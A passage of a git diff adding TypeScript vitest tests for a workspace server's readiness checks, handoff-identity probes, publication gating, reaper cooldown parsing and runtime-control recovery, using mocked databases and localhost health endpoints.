+          return { status: "succeeded", metadata: { backupRetained: true } };
+        },
+      });
+
+    expect(operation).toMatchObject({
+      status: "succeeded",
+      metadata: {
+        action: "repair",
+        repairPhase: "target_backup",
+        databaseOnly: true,
+        worktreePreserved: true,
+        backupRetained: true,
+      },
+    });
+    expect((await workspaceOperationService(db).readLog(operation.id)).content).toContain(
+      "Workspace repair target_backup: succeeded.",
+    );
+  });
+});
diff --git a/server/src/__tests__/workspace-readiness.test.ts b/server/src/__tests__/workspace-readiness.test.ts
new file mode 100644
index 00000000000..262a7c8317f
--- /dev/null
+++ b/server/src/__tests__/workspace-readiness.test.ts
@@ -0,0 +1,687 @@
+import { mkdtempSync, rmSync, writeFileSync } from "node:fs";
+import os from "node:os";
+import path from "node:path";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import type { Db } from "@paperclipai/db";
+import type { WorkspaceReadinessProbeResult } from "@paperclipai/shared";
+import {
+  isManagedWorkspaceInstance,
+  resetManagedWorkspaceInstanceCacheForTests,
+  resolveWorkspaceReadiness,
+  resolveWorkspaceReadinessState,
+  resolveWorkspaceSeedMarkerDir,
+} from "../services/workspace-readiness.js";
+import {
+  buildManagedWorkspaceGuestEnv,
+  listManagedWorkspaceHandoffSubjects,
+  probeManagedWorkspaceHandoffSubjects,
+  probeManagedWorkspaceReadiness,
+  resolveManagedWorkspaceIdentity,
+  resolveWorkspaceReadinessGateMode,
+  shouldBlockPublicationOnReadiness,
+  waitForManagedWorkspaceReadiness,
+  type ManagedWorkspaceIdentity,
+} from "../services/managed-workspace-identity.js";
+import {
+  WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY,
+  WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY,
+  WORKSPACE_HANDOFF_KEY_ENV_KEY,
+  WORKSPACE_READINESS_TOKEN_ENV_KEY,
+  WORKSPACE_READINESS_TOKEN_HEADER,
+  WORKSPACE_READINESS_USER_EMAIL_HEADER,
+  WORKSPACE_READINESS_USER_ID_HEADER,
+} from "../auth/workspace-login-handoff.js";
+
+const tempDirs: string[] = [];
+
+function createMarkerDir(files: Record<string, string> = {}) {
+  const dir = mkdtempSync(path.join(os.tmpdir(), "paperclip-workspace-readiness-"));
+  tempDirs.push(dir);
+  const configPath = path.join(dir, "config.json");
+  writeFileSync(configPath, "{}\n", "utf8");
+  for (const [name, contents] of Object.entries(files)) {
+    writeFileSync(path.join(dir, name), contents, "utf8");
+  }
+  return { dir, configPath };
+}
+
+function verifiedManifest(overrides: Record<string, unknown> = {}) {
+  return JSON.stringify({
+    version: 2,
+    state: "verified",
+    phase: "complete",
+    seedMode: "minimal",
+    ...overrides,
+  });
+}
+
+/** A `db` stand-in whose clone/identity probes both find one row. */
+function readyDb() {
+  return {
+    execute: vi.fn().mockResolvedValue([{ "?column?": 1 }]),
+    // Both readiness probes are `limit(1)` existence queries, so one row is enough
+    // to answer either of them.
+    select: vi.fn(() => {
+      const result = [{ companyId: "company-1", userId: "user-1" }];
+      const chain = {
+        from: vi.fn(() => chain),
+        innerJoin: vi.fn(() => chain),
+        where: vi.fn(() => chain),
+        limit: vi.fn(() => Promise.resolve(result)),
+        then: (resolve: (rows: unknown) => unknown) => Promise.resolve(result).then(resolve),
+      };
+      return chain;
+    }),
+  } as unknown as Db;
+}
+
+function handoffSubjectDb(rows: Array<{ userId: string; email: string | null }>) {
+  return {
+    select: vi.fn(() => {
+      const chain = {
+        from: vi.fn(() => chain),
+        innerJoin: vi.fn(() => chain),
+        then: (resolve: (value: unknown) => unknown) => Promise.resolve(rows).then(resolve),
+      };
+      return chain;
+    }),
+  } as unknown as Db;
+}
+
+function readyGuestEnv(configPath: string, overrides: NodeJS.ProcessEnv = {}): NodeJS.ProcessEnv {
+  return {
+    PAPERCLIP_CONFIG: configPath,
+    [WORKSPACE_HANDOFF_KEY_ENV_KEY]: "key",
+    [WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY]: "ews-1",
+    [WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY]: "company-1",
+    ...overrides,
+  };
+}
+
+afterEach(() => {
+  for (const dir of tempDirs.splice(0)) rmSync(dir, { recursive: true, force: true });
+  resetManagedWorkspaceInstanceCacheForTests();
+  vi.restoreAllMocks();
+});
+
+describe("resolveWorkspaceReadinessState", () => {
+  const ready = {
+    databaseReady: true,
+    cloneDataReady: true,
+    authHandoffReady: true,
+    seedState: "verified",
+  } as const;
+
+  it("is ready only when every signal agrees and the seed is verified", () => {
+    expect(resolveWorkspaceReadinessState(ready)).toBe("ready");
+    expect(resolveWorkspaceReadinessState({ ...ready, seedState: "unknown" })).toBe("validating");
+    expect(resolveWorkspaceReadinessState({ ...ready, seedState: "absent" })).toBe("validating");
+  });
+
+  it("reports an unfinished clone as provisioning, not degraded", () => {
+    expect(resolveWorkspaceReadinessState({ ...ready, seedState: "pending", databaseReady: false })).toBe("provisioning");
+    expect(resolveWorkspaceReadinessState({ ...ready, seedState: "running" })).toBe("provisioning");
+  });
+
+  it("reports a regressed verified clone as degraded", () => {
+    expect(resolveWorkspaceReadinessState({ ...ready, databaseReady: false })).toBe("degraded");
+    expect(resolveWorkspaceReadinessState({ ...ready, cloneDataReady: false })).toBe("degraded");
+    expect(resolveWorkspaceReadinessState({ ...ready, authHandoffReady: false })).toBe("degraded");
+  });
+
+  it("reports a recorded seed failure as failed", () => {
+    expect(resolveWorkspaceReadinessState({ ...ready, seedState: "failed" })).toBe("failed");
+  });
+});
+
+describe("resolveWorkspaceReadiness", () => {
+  it("reports a verified, fully readable clone as ready", async () => {
+    const { configPath } = createMarkerDir({ "seed-manifest.json": verifiedManifest() });
+    const readiness = await resolveWorkspaceReadiness({
+      db: readyDb(),
+      env: readyGuestEnv(configPath),
+    });
+    expect(readiness).toMatchObject({
+      state: "ready",
+      databaseReady: true,
+      cloneDataReady: true,
+      authHandoffReady: true,
+      authHandoffUserId: null,
+      seedState: "verified",
+      seedMode: "minimal",
+      executionWorkspaceId: "ews-1",
+      companyId: "company-1",
+      failurePhase: null,
+    });
+  });
+
+  it("does not claim the handoff is ready without a signing key", async () => {
+    const { configPath } = createMarkerDir({ "seed-manifest.json": verifiedManifest() });
+    const readiness = await resolveWorkspaceReadiness({
+      db: readyDb(),
+      env: readyGuestEnv(configPath, { [WORKSPACE_HANDOFF_KEY_ENV_KEY]: undefined }),
+    });
+    expect(readiness.authHandoffReady).toBe(false);
+    expect(readiness.state).toBe("degraded");
+    expect(readiness.failurePhase).toBe("auth_handoff_not_configured");
+  });
+
+  it("fails closed when the guest has no company binding", async () => {
+    const { configPath } = createMarkerDir({ "seed-manifest.json": verifiedManifest() });
+    const db = readyDb();
+    const readiness = await resolveWorkspaceReadiness({
+      db,
+      env: readyGuestEnv(configPath, {
+        [WORKSPACE_EXECUTION_WORKSPACE_COMPANY_ID_ENV_KEY]: undefined,
+      }),
+    });
+    expect(readiness).toMatchObject({
+      state: "degraded",
+      cloneDataReady: false,
+      authHandoffReady: false,
+      failurePhase: "workspace_company_not_configured",
+    });
+    expect(db.select).not.toHaveBeenCalled();
+  });
+
+  it("does not claim handoff readiness without the execution-workspace identity", async () => {
+    const { configPath } = createMarkerDir({ "seed-manifest.json": verifiedManifest() });
+    const readiness = await resolveWorkspaceReadiness({
+      db: readyDb(),
+      env: readyGuestEnv(configPath, {
+        [WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY]: undefined,
+      }),
+    });
+    expect(readiness).toMatchObject({
+      state: "degraded",
+      cloneDataReady: true,
+      authHandoffReady: false,
+      failurePhase: "workspace_identity_not_configured",
+    });
+  });
+
+  it("surfaces the failing seed phase instead of an inferred one", async () => {
+    const { configPath } = createMarkerDir({
+      "seed-manifest.json": verifiedManifest({ state: "failed", phase: "restore" }),
+    });
+    const readiness = await resolveWorkspaceReadiness({
+      db: readyDb(),
+      env: readyGuestEnv(configPath),
+    });
+    expect(readiness).toMatchObject({ state: "failed", seedState: "failed", failurePhase: "restore" });
+  });
+
+  it("treats an unreadable manifest as a failure rather than assuming it seeded", async () => {
+    const { configPath } = createMarkerDir({ "seed-manifest.json": "{ truncated" });
+    const readiness = await resolveWorkspaceReadiness({
+      db: readyDb(),
+      env: readyGuestEnv(configPath),
+    });
+    expect(readiness).toMatchObject({ state: "failed", failurePhase: "seed_manifest_unreadable" });
+  });
+
+  it("reports an interrupted seed as provisioning", async () => {
+    const { configPath } = createMarkerDir({ "seed-pending": "{}" });
+    const readiness = await resolveWorkspaceReadiness({
+      db: readyDb(),
+      env: readyGuestEnv(configPath),
+    });
+    expect(readiness).toMatchObject({ state: "provisioning", seedState: "pending" });
+  });
+
+  it("reports a legacy marker clone as validating, never verified", async () => {
+    const { configPath } = createMarkerDir({ "seed-complete": "" });
+    const readiness = await resolveWorkspaceReadiness({
+      db: readyDb(),
+      env: readyGuestEnv(configPath),
+    });
+    expect(readiness).toMatchObject({ state: "validating", seedState: "unknown" });
+  });
+
+  it("reports an unreachable database without throwing", async () => {
+    const { configPath } = createMarkerDir({ "seed-manifest.json": verifiedManifest() });
+    const db = {
+      execute: vi.fn().mockRejectedValue(new Error("ECONNREFUSED")),
+      select: vi.fn(),
+    } as unknown as Db;
+    const readiness = await resolveWorkspaceReadiness({
+      db,
+      env: readyGuestEnv(configPath),
+    });
+    expect(readiness).toMatchObject({
+      state: "degraded",
+      databaseReady: false,
+      failurePhase: "database_unreachable",
+    });
+  });
+
+  it("resolves the marker directory from the configured config path", () => {
+    const { dir, configPath } = createMarkerDir();
+    expect(resolveWorkspaceSeedMarkerDir({ PAPERCLIP_CONFIG: configPath })).toBe(dir);
+  });
+
+  it("does not re-stat marker files on every health request", () => {
+    const { configPath } = createMarkerDir({ "seed-manifest.json": verifiedManifest() });
+    const env = { PAPERCLIP_CONFIG: configPath };
+    let clock = 0;
+    expect(isManagedWorkspaceInstance(env, () => clock)).toBe(true);
+
+    // Removing the marker inside the TTL keeps the cached answer; past it, the
+    // filesystem is consulted again.
+    rmSync(path.join(path.dirname(configPath), "seed-manifest.json"));
+    clock = 1_000;
+    expect(isManagedWorkspaceInstance(env, () => clock)).toBe(true);
+    clock = 10_000;
+    expect(isManagedWorkspaceInstance(env, () => clock)).toBe(false);
+  });
+
+  it("only treats a process with clone evidence as a managed workspace", () => {
+    const { configPath } = createMarkerDir();
+    expect(isManagedWorkspaceInstance({ PAPERCLIP_CONFIG: configPath })).toBe(false);
+    expect(
+      isManagedWorkspaceInstance({ PAPERCLIP_CONFIG: configPath, [WORKSPACE_HANDOFF_KEY_ENV_KEY]: "key" }),
+    ).toBe(true);
+    const seeded = createMarkerDir({ "seed-manifest.json": verifiedManifest() });
+    expect(isManagedWorkspaceInstance({ PAPERCLIP_CONFIG: seeded.configPath })).toBe(true);
+  });
+});
+
+describe("probeManagedWorkspaceReadiness", () => {
+  const identity: ManagedWorkspaceIdentity = {
+    instanceId: "instance-a",
+    executionWorkspaceId: "ews-1",
+    companyId: "company-1",
+    handoffKey: "handoff-key",
+    readinessToken: "probe-token",
+    secretSource: "derived",
+  };
+
+  function respond(body: unknown, init: { status?: number } = {}) {
+    return vi.fn(async () =>
+      new Response(JSON.stringify(body), {
+        status: init.status ?? 200,
+        headers: { "content-type": "application/json" },
+      }),
+    ) as unknown as typeof fetch;
+  }
+
+  const readyPayload = {
+    status: "ok",
+    workspace: {
+      state: "ready",
+      databaseReady: true,
+      cloneDataReady: true,
+      authHandoffReady: true,
+      authHandoffUserId: null,
+      seedState: "verified",
+      seedPhase: "complete",
+      seedMode: "minimal",
+      instanceId: "instance-a",
+      executionWorkspaceId: "ews-1",
+      companyId: "company-1",
+      failurePhase: null,
+    },
+  };
+
+  it("accepts a ready workspace and sends the derived probe token", async () => {
+    const fetchImpl = respond(readyPayload);
+    const result = await probeManagedWorkspaceReadiness({
+      healthUrl: "http://127.0.0.1:42013/api/health",
+      identity,
+      fetchImpl,
+    });
+    expect(result.ok).toBe(true);
+    const [, init] = (fetchImpl as unknown as ReturnType<typeof vi.fn>).mock.calls[0]!;
+    expect((init as RequestInit & { headers: Record<string, string> }).headers[WORKSPACE_READINESS_TOKEN_HEADER])
+      .toBe("probe-token");
+  });
+
+  it("binds a caller-scoped readiness probe to the exact handoff user", async () => {
+    const fetchImpl = respond({
+      ...readyPayload,
+      workspace: { ...readyPayload.workspace, authHandoffUserId: "user-1" },
+    });
+    const result = await probeManagedWorkspaceReadiness({
+      healthUrl: "http://127.0.0.1:42013/api/health",
+      identity,
+      handoffSubject: { userId: "user-1", email: "operator@example.com" },
+      fetchImpl,
+    });
+    expect(result.ok).toBe(true);
+    const [, init] = (fetchImpl as unknown as ReturnType<typeof vi.fn>).mock.calls[0]!;
+    expect((init as RequestInit & { headers: Record<string, string> }).headers).toMatchObject({
+      [WORKSPACE_READINESS_USER_ID_HEADER]: "user-1",
+      [WORKSPACE_READINESS_USER_EMAIL_HEADER]: "operator@example.com",
+    });
+  });
+
+  it("rejects a readiness response scoped to another handoff user", async () => {
+    expect(
+      await probeManagedWorkspaceReadiness({
+        healthUrl: "http://127.0.0.1:42013/api/health",
+        identity,
+        handoffSubject: { userId: "user-1", email: "operator@example.com" },
+        fetchImpl: respond({
+          ...readyPayload,
+          workspace: { ...readyPayload.workspace, authHandoffUserId: "user-other" },
+        }),
+      }),
+    ).toMatchObject({ ok: false, reason: "identity_mismatch" });
+  });
+
+  it("proves every active control-plane board identity before publication", async () => {
+    const db = handoffSubjectDb([
+      { userId: "user-1", email: "one@example.com" },
+      { userId: "user-2", email: "two@example.com" },
+    ]);
+    await expect(listManagedWorkspaceHandoffSubjects(db, "company-1")).resolves.toEqual([
+      { userId: "user-1", email: "one@example.com" },
+      { userId: "user-2", email: "two@example.com" },
+    ]);
+
+    const fetchImpl = vi.fn(async (_url: string | URL | Request, init?: RequestInit) => {
+      const headers = init?.headers as Record<string, string>;
+      return new Response(JSON.stringify({
+        ...readyPayload,
+        workspace: {
+          ...readyPayload.workspace,
+          authHandoffUserId: headers[WORKSPACE_READINESS_USER_ID_HEADER],
+        },
+      }), { status: 200, headers: { "content-type": "application/json" } });
+    }) as unknown as typeof fetch;
+    await expect(probeManagedWorkspaceHandoffSubjects({
+      db,
+      healthUrl: "http://127.0.0.1:42013/api/health",
+      identity,
+      fetchImpl,
+    })).resolves.toMatchObject({ ok: true });
+    expect(fetchImpl).toHaveBeenCalledTimes(2);
+  });
+
+  it("blocks publication when no current board identity can use the handoff", async () => {
+    const fetchImpl = vi.fn() as unknown as typeof fetch;
+    await expect(probeManagedWorkspaceHandoffSubjects({
+      db: handoffSubjectDb([]),
+      healthUrl: "http://127.0.0.1:42013/api/health",
+      identity,
+      fetchImpl,
+    })).resolves.toMatchObject({ ok: false, reason: "not_ready" });
+    expect(fetchImpl).not.toHaveBeenCalled();
+  });
+
+  it("rejects a workspace serving another instance, workspace, or company", async () => {
+    const wrongInstance = await probeManagedWorkspaceReadiness({
+      healthUrl: "http://127.0.0.1:42013/api/health",
+      identity,
+      fetchImpl: respond({
+        ...readyPayload,
+        workspace: { ...readyPayload.workspace, instanceId: "instance-b" },
+      }),
+    });
+    expect(wrongInstance).toMatchObject({ ok: false, reason: "identity_mismatch" });
+
+    const wrongWorkspace = await probeManagedWorkspaceReadiness({
+      healthUrl: "http://127.0.0.1:42013/api/health",
+      identity,
+      fetchImpl: respond({
+        ...readyPayload,
+        workspace: { ...readyPayload.workspace, executionWorkspaceId: "ews-other" },
+      }),
+    });
+    expect(wrongWorkspace).toMatchObject({ ok: false, reason: "identity_mismatch" });
+
+    const wrongCompany = await probeManagedWorkspaceReadiness({
+      healthUrl: "http://127.0.0.1:42013/api/health",
+      identity,
+      fetchImpl: respond({
+        ...readyPayload,
+        workspace: { ...readyPayload.workspace, companyId: "company-other" },
+      }),
+    });
+    expect(wrongCompany).toMatchObject({ ok: false, reason: "identity_mismatch" });
+  });
+
+  it("rejects a partial readiness contract with no company identity", async () => {
+    const { companyId: _companyId, ...partialReadiness } = readyPayload.workspace;
+    expect(
+      await probeManagedWorkspaceReadiness({
+        healthUrl: "http://127.0.0.1:42013/api/health",
+        identity,
+        fetchImpl: respond({ ...readyPayload, workspace: partialReadiness }),
+      }),
+    ).toMatchObject({ ok: false, reason: "identity_mismatch", readiness: null });
+  });
+
+  it("rejects a 200 response whose payload is not semantically healthy", async () => {
+    expect(
+      await probeManagedWorkspaceReadiness({
+        healthUrl: "http://127.0.0.1:42013/api/health",
+        identity,
+        fetchImpl: respond({ status: "unhealthy" }),
+      }),
+    ).toMatchObject({ ok: false, reason: "unhealthy_payload" });
+  });
+
+  it("rejects a response with no readiness block, so a legacy guest cannot publish", async () => {
+    expect(
+      await probeManagedWorkspaceReadiness({
+        healthUrl: "http://127.0.0.1:42013/api/health",
+        identity,
+        fetchImpl: respond({ status: "ok" }),
+      }),
+    ).toMatchObject({ ok: false, reason: "readiness_missing" });
+  });
+
+  it("rejects a workspace whose clone or handoff is not ready and keeps the failure phase", async () => {
+    expect(
+      await probeManagedWorkspaceReadiness({
+        healthUrl: "http://127.0.0.1:42013/api/health",
+        identity,
+        fetchImpl: respond({
+          ...readyPayload,
+          workspace: {
+            ...readyPayload.workspace,
+            state: "degraded",
+            cloneDataReady: false,
+            failurePhase: "clone_data_missing",
+          },
+        }),
+      }),
+    ).toMatchObject({ ok: false, reason: "not_ready", detail: "clone_data_missing" });
+  });
+
+  it("reports an unreachable guest", async () => {
+    const result = await probeManagedWorkspaceReadiness({
+      healthUrl: "http://127.0.0.1:42013/api/health",
+      identity,
+      fetchImpl: (async () => {
+        throw new Error("connect ECONNREFUSED");
+      }) as unknown as typeof fetch,
+    });
+    expect(result).toMatchObject({ ok: false, reason: "unreachable" });
+  });
+
+  it("fails closed when any part of the workspace identity is unresolved", () => {
+    // Every readiness and handoff check keys off this. Returning a partial identity
+    // would silently downgrade the whole gate to the legacy transport check, so the
+    // three inputs are all required.
+    const complete = {
+      workspaceCwd: "/srv/worktree",
+      executionWorkspaceId: "ews-1",
+      companyId: "company-1",
+      env: { PAPERCLIP_WORKSPACE_HANDOFF_SECRET: "root" },
+    };
+    expect(resolveManagedWorkspaceIdentity(complete)).not.toBeNull();
+    expect(resolveManagedWorkspaceIdentity({ ...complete, companyId: null })).toBeNull();
+    expect(resolveManagedWorkspaceIdentity({ ...complete, executionWorkspaceId: null })).toBeNull();
+    expect(resolveManagedWorkspaceIdentity({ ...complete, workspaceCwd: null })).toBeNull();
+    expect(resolveManagedWorkspaceIdentity({ ...complete, env: {} })).toBeNull();
+  });
+
+  it("derives distinct key material per company on the same workspace", () => {
+    const base = {
+      workspaceCwd: "/srv/worktree",
+      executionWorkspaceId: "ews-1",
+      env: { PAPERCLIP_WORKSPACE_HANDOFF_SECRET: "root" },
+    };
+    const first = resolveManagedWorkspaceIdentity({ ...base, companyId: "company-1" });
+    const second = resolveManagedWorkspaceIdentity({ ...base, companyId: "company-2" });
+    // The signing key is deliberately per instance+workspace, not per company —
+    // the company is enforced by the signed `cid` claim instead — so the keys match
+    // while the recorded company differs.
+    expect(first?.handoffKey).toBe(second?.handoffKey);
+    expect(first?.companyId).toBe("company-1");
+    expect(second?.companyId).toBe("company-2");
+  });
+
+  it("hands the guest only derived per-workspace material", () => {
+    expect(buildManagedWorkspaceGuestEnv(identity)).toEqual({
+      [WORKSPACE_HANDOFF_KEY_ENV_KEY]: "handoff-key",
+      [WORKSPACE_READINESS_TOKEN_ENV_KEY]: "probe-token",
+      [WORKSPACE_EXECUTION_WORKSPACE_ID_ENV_KEY]: "ews-1",
+      PAPERCLIP_EXECUTION_WORKSPACE_COMPANY_ID: "company-1",
+    });
+  });
+});
+
+describe("shouldBlockPublicationOnReadiness", () => {
+  function rejection(reason: Extract<WorkspaceReadinessProbeResult, { ok: false }>["reason"]) {
+    return { ok: false as const, reason, readiness: null, detail: null };
+  }
+
+  it("blocks on any real disagreement about the clone", () => {
+    for (const reason of ["unreachable", "http_error", "unhealthy_payload", "not_ready", "identity_mismatch"] as const) {
+      expect(shouldBlockPublicationOnReadiness(rejection(reason), "auto")).toBe(true);
+      expect(shouldBlockPublicationOnReadiness(rejection(reason), "strict")).toBe(true);
+    }
+  });
+
+  it("does not turn an upgrade lag into an outage by default", () => {
+    expect(shouldBlockPublicationOnReadiness(rejection("readiness_missing"), "auto")).toBe(false);
+    expect(shouldBlockPublicationOnReadiness(rejection("readiness_missing"), "strict")).toBe(true);
+  });
+
+  it("reads the deployment-level mode from the environment", () => {
+    expect(resolveWorkspaceReadinessGateMode({})).toBe("auto");
+    expect(resolveWorkspaceReadinessGateMode({ PAPERCLIP_WORKSPACE_READINESS_GATE: "STRICT" })).toBe("strict");
+    expect(resolveWorkspaceReadinessGateMode({ PAPERCLIP_WORKSPACE_READINESS_GATE: "anything-else" })).toBe("auto");
+  });
+});
+
+describe("waitForManagedWorkspaceReadiness", () => {
+  const identity: ManagedWorkspaceIdentity = {
+    instanceId: "instance-a",
+    executionWorkspaceId: "ews-1",
+    companyId: "company-1",
+    handoffKey: "k",
+    readinessToken: "t",
+    secretSource: "derived",
+  };
+
+  const ready = {
+    status: "ok",
+    workspace: {
+      state: "ready",
+      databaseReady: true,
+      cloneDataReady: true,
+      authHandoffReady: true,
+      authHandoffUserId: null,
+      seedState: "verified",
+      seedPhase: "complete",
+      seedMode: "minimal",
+      instanceId: "instance-a",
+      executionWorkspaceId: "ews-1",
+      companyId: "company-1",
+      failurePhase: null,
+    },
+  };
+
+  it("absorbs a guest that becomes ready a beat after its listener", async () => {
+    let attempt = 0;
+    const fetchImpl = (async () => {
+      attempt += 1;
+      const body = attempt < 3
+        ? { ...ready, workspace: { ...ready.workspace, databaseReady: false, state: "validating" } }
+        : ready;
+      return new Response(JSON.stringify(body), { status: 200, headers: { "content-type": "application/json" } });
+    }) as unknown as typeof fetch;
+
+    let clock = 0;
+    const result = await waitForManagedWorkspaceReadiness({
+      healthUrl: "http://127.0.0.1:1/api/health",
+      identity,
+      fetchImpl,
+      now: () => clock,
+      sleep: async (ms) => {
+        clock += ms;
+      },
+    });
+    expect(result.ok).toBe(true);
+    expect(attempt).toBe(3);
+  });
+
+  it("does not poll a guest that has no readiness contract to satisfy", async () => {
+    let attempt = 0;
+    const fetchImpl = (async () => {
+      attempt += 1;
+      return new Response(JSON.stringify({ status: "ok" }), {
+        status: 200,
+        headers: { "content-type": "application/json" },
+      });
+    }) as unknown as typeof fetch;
+
+    const result = await waitForManagedWorkspaceReadiness({
+      healthUrl: "http://127.0.0.1:1/api/health",
+      identity,
+      fetchImpl,
+      now: () => 0,
+      sleep: async () => undefined,
+    });
+    expect(result).toMatchObject({ ok: false, reason: "readiness_missing" });
+    expect(attempt).toBe(1);
+  });
+
+  it("gives up immediately when another instance owns the port", async () => {
+    let attempt = 0;
+    const fetchImpl = (async () => {
+      attempt += 1;
+      return new Response(
+        JSON.stringify({ ...ready, workspace: { ...ready.workspace, instanceId: "someone-else" } }),
+        { status: 200, headers: { "content-type": "application/json" } },
+      );
+    }) as unknown as typeof fetch;
+
+    const result = await waitForManagedWorkspaceReadiness({
+      healthUrl: "http://127.0.0.1:1/api/health",
+      identity,
+      fetchImpl,
+      now: () => 0,
+      sleep: async () => undefined,
+    });
+    expect(result).toMatchObject({ ok: false, reason: "identity_mismatch" });
+    expect(attempt).toBe(1);
+  });
+
+  it("stops at the gate budget instead of holding a start open forever", async () => {
+    let attempt = 0;
+    const fetchImpl = (async () => {
+      attempt += 1;
+      throw new Error("connect ECONNREFUSED");
+    }) as unknown as typeof fetch;
+
+    let clock = 0;
+    const result = await waitForManagedWorkspaceReadiness({
+      healthUrl: "http://127.0.0.1:1/api/health",
+      identity,
+      fetchImpl,
+      timeoutMs: 1_000,
+      now: () => clock,
+      sleep: async (ms) => {
+        clock += ms;
+      },
+    });
+    expect(result).toMatchObject({ ok: false, reason: "unreachable" });
+    // 1s budget at the 250ms retry interval: four probes, then the budget is spent.
+    expect(attempt).toBe(5);
+  });
+});
diff --git a/server/src/__tests__/workspace-reaper-cooldown-config.test.ts b/server/src/__tests__/workspace-reaper-cooldown-config.test.ts
new file mode 100644
index 00000000000..2bcde2f4d69
--- /dev/null
+++ b/server/src/__tests__/workspace-reaper-cooldown-config.test.ts
@@ -0,0 +1,54 @@
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { loadConfig } from "../config.ts";
+
+// The terminal-workspace reaper reads PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS.
+// These tests lock the parser contract: the default is 7 days, an explicit 0
+// means immediate reaping, and empty, whitespace-only, negative, or non-numeric
+// values fall back to the default. An empty or whitespace-only value must not
+// become 0, because that would delete terminal workspaces immediately.
+
+describe("workspace reaper cooldown config parsing", () => {
+  afterEach(() => {
+    vi.unstubAllEnvs();
+  });
+
+  it("uses the 7 day default when the variable is not set", () => {
+    vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", undefined);
+    expect(loadConfig().workspaceReaperCooldownDays).toBe(7);
+  });
+
+  it("uses the 7 day default for an empty value", () => {
+    vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", "");
+    expect(loadConfig().workspaceReaperCooldownDays).toBe(7);
+  });
+
+  it("uses the 7 day default for a whitespace-only value", () => {
+    vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", "   ");
+    expect(loadConfig().workspaceReaperCooldownDays).toBe(7);
+  });
+
+  it("keeps an explicit 0 as immediate reaping", () => {
+    vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", "0");
+    expect(loadConfig().workspaceReaperCooldownDays).toBe(0);
+  });
+
+  it("reads a positive whole number", () => {
+    vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", "14");
+    expect(loadConfig().workspaceReaperCooldownDays).toBe(14);
+  });
+
+  it("trims surrounding whitespace before it reads the number", () => {
+    vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", "  3  ");
+    expect(loadConfig().workspaceReaperCooldownDays).toBe(3);
+  });
+
+  it("uses the 7 day default for a negative value", () => {
+    vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", "-1");
+    expect(loadConfig().workspaceReaperCooldownDays).toBe(7);
+  });
+
+  it("uses the 7 day default for a non-numeric value", () => {
+    vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", "soon");
+    expect(loadConfig().workspaceReaperCooldownDays).toBe(7);
+  });
+});
diff --git a/server/src/__tests__/workspace-runtime-control-recovery.test.ts b/server/src/__tests__/workspace-runtime-control-recovery.test.ts
new file mode 100644
index 00000000000..52125e4af84
--- /dev/null
+++ b/server/src/__tests__/workspace-runtime-control-recovery.test.ts
@@ -0,0 +1,519 @@
+import { randomUUID } from "node:crypto";
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
+import {
+  companies,
+  createDb,
+  executionWorkspaces,
+  projects,
+  workspaceOperations,
+} from "@paperclipai/db";
+import { and, eq } from "drizzle-orm";
+import { setTimeout as delay } from "node:timers/promises";
+import {
+  RUNTIME_CONTROL_STALE_AFTER_MS,
+  WorkspaceOperationTimeoutError,
+  resetWorkspaceRuntimeControlStateForTests,
+  workspaceOperationService,
+  workspaceRuntimeControlOwnerIdForTests,
+} from "../services/workspace-operations.js";
+import { getWorkspaceOperationLogStore } from "../services/workspace-operation-log-store.js";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping runtime-control recovery tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
+  );
+}
+
+/**
+ * Regression coverage for PAP-17249. The adverse report on PAP-17207 left an execution
+ * workspace with a `running` managed start that no owner was driving, so every managed
+ * cleanup was rejected with `409 workspace_runtime_control_in_progress` forever.
+ *
+ * These cases run against real Postgres because the recovery guarantee is a
+ * compare-and-swap over `workspace_operations`, not an in-process lock.
+ */
+describeEmbeddedPostgres("managed runtime-control operation recovery", () => {
+  let db!: ReturnType<typeof createDb>;
+  let stopDb: (() => Promise<void>) | null = null;
+  let logRoot = "";
+  let previousLogRoot: string | undefined;
+
+  beforeAll(async () => {
+    const started = await startEmbeddedPostgresTestDatabase("paperclip-runtime-control-recovery-");
+    stopDb = started.cleanup;
+    db = createDb(started.connectionString);
+    logRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-runtime-control-logs-"));
+    previousLogRoot = process.env.WORKSPACE_OPERATION_LOG_BASE_PATH;
+    process.env.WORKSPACE_OPERATION_LOG_BASE_PATH = logRoot;
+  }, 60_000);
+
+  afterEach(async () => {
+    resetWorkspaceRuntimeControlStateForTests();
+    await db.delete(workspaceOperations);
+    await db.delete(executionWorkspaces);
+    await db.delete(projects);
+    await db.delete(companies);
+  });
+
+  afterAll(async () => {
+    if (previousLogRoot === undefined) delete process.env.WORKSPACE_OPERATION_LOG_BASE_PATH;
+    else process.env.WORKSPACE_OPERATION_LOG_BASE_PATH = previousLogRoot;
+    await fs.rm(logRoot, { recursive: true, force: true });
+    if (stopDb) await stopDb();
+  });
+
+  async function seedWorkspace() {
+    const companyId = randomUUID();
+    const projectId = randomUUID();
+    const executionWorkspaceId = randomUUID();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Runtime control recovery",
